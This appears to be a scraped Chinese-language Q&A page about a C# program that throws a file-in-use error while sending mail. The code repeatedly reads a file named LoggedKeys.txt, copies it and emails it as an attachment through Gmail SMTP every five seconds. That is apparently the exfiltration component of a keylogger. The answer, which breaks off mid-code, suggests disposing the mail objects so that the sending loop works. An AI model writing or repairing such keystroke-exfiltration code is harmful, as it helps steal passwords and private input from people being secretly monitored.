Procces无法访问该文件

时间:2018-02-23 10:07:46

标签: c# .net

收到此错误,但我不知道问题出在哪里。

我的程序只向我发送一次电子邮件,然后抱怨无法访问的文件,因为它已被其他进程使用。我已经尝试在using指令中关闭流,但这没有帮助。

以下是代码:

using System;
using System.IO;
using System.Net.Mail;
using System.Threading;
using System.Runtime.InteropServices;
using System.Net.Mail;

namespace MailSender
{
    class Program
    {
        static void Main(string[] args)
        {
            while (true)
            {
                Thread.Sleep(5000);
                SendMail();
            }
        }

        static void SendMail()
        {
            String newFilePath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            string filePath = newFilePath + @"\Info\";
            string newFilePath2 = (@filePath + "LoggedKeys.txt");



            SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
            MailMessage logMessage = new MailMessage();
            logMessage.From = new MailAddress("...");
            logMessage.To.Add("...");
            logMessage.Subject = "123xt";

            client.UseDefaultCredentials = false;
            client.EnableSsl = true;
            client.Credentials = new System.Net.NetworkCredential("...", "...");

            string newFile = File.ReadAllText(newFilePath2);
            System.Threading.Thread.Sleep(2);
            string a = filePath + @"\a.txt";
            using (StreamWriter sw = new StreamWriter(a, true))
            {
                sw.WriteLine(newFile);

            }

            System.Threading.Thread.Sleep(2);
            logMessage.Attachments.Add(new Attachment(a));

            client.Send(logMessage);

            logMessage = null;

        }
    }
}

有人可以帮忙吗?

1 个答案:

答案 0 :(得分:0)

您需要Dispose logMessageclient以确保它释放所有文件锁。

这可以通过以下方式实现:

using (SmtpClient client = new SmtpClient("smtp.gmail.com", 587))
using (MailMessage logMessage = new MailMessage())
{